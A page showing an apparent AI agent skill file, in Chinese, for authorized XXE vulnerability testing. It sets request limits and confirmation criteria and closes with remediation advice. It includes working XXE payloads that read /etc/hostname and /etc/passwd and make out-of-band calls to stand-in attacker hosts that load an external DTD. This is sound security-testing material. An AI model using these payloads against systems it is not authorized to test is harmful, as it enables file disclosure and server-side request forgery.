xxe-testing

star 72

检测 XXE(XML 外部实体注入)风险;当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时触发。

Q16G By Q16G schedule Updated 6/7/2026

name: xxe-testing description: 检测 XXE(XML 外部实体注入)风险;当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时触发。 tags: injection,xxe,xml,entity when-to-use: 当目标存在 XML 文件上传、SOAP 接口、SVG 处理等 XML 解析功能时 allowed-tools: bash,read_file,list_files,rg user-invocable: false

XXE 检测(XML 外部实体注入)

目标

确认目标的 XML 解析器是否处理外部实体声明,导致文件读取、SSRF 或拒绝服务。

适用场景

  • XML 文件上传(配置导入、数据导入)
  • SOAP Web Service 接口
  • SVG 文件上传/处理
  • RSS/Atom feed 解析
  • Office 文档上传(.docx/.xlsx 本质是 ZIP 包含 XML)

前置条件与安全边界

  • 仅在授权环境测试。
  • 单接口最多 10 次请求。
  • 文件读取测试使用无害文件(/etc/hostname/etc/passwd),不读取敏感凭据。
  • 不使用 Billion Laughs(实体递归膨胀)等 DoS payload。

检测步骤

Step 1:XML 解析确认

确认目标是否接受并解析 XML:

  1. 发送合法 XML 请求,确认正常处理。
  2. 发送畸形 XML(缺少闭合标签),观察是否返回 XML 解析错误。

Step 2:外部实体探测

有回显场景

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<root>&xxe;</root>

观察响应中是否包含文件内容。

无回显(盲注)场景

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker-server/xxe-probe">
]>
<root>&xxe;</root>

在自有服务器确认是否收到请求。

Step 3:高级利用探测(仅确认可行性)

  • 参数实体<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd"> %xxe;
  • SSRF 利用:将 SYSTEM URL 指向内网地址
  • 协议探测php://filter/convert.base64-encode/resource=/etc/passwd(PHP 场景)

闭环验证要求(必须遵守)

通用闭环口径见同根目录 common/closure-verification.md(技能表 path 列同一抽取根下,需要时 read_file 读取)。核心:完整证据链才判 confirmed,中间信号最多 suspected。本漏洞特有要点:

  • 仅凭"XML 解析错误"不得判定 XXE,必须确认外部实体被处理(文件内容泄露或外带请求到达)。

判定标准

现象 判定
响应中包含本地文件内容,或外带请求到达攻击者服务器 confirmed
XML 解析错误提示中泄露实体处理信息,但未读取到文件内容 suspected
外部实体被禁用或 XML 被预处理清理 not vulnerable

修复建议

  • 禁用 XML 外部实体和 DTD 处理。
  • 使用安全的 XML 解析器配置(如 Java 中 setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true))。
  • 对上传的 XML/SVG 文件做预处理,移除 DOCTYPE 声明。
  • 如非必需,考虑使用 JSON 替代 XML。
Install via CLI
npx skills add https://github.com/Q16G/aster --skill xxe-testing
Repository Details
star Stars 72
call_split Forks 6
navigation Branch main
article Path SKILL.md
More from Creator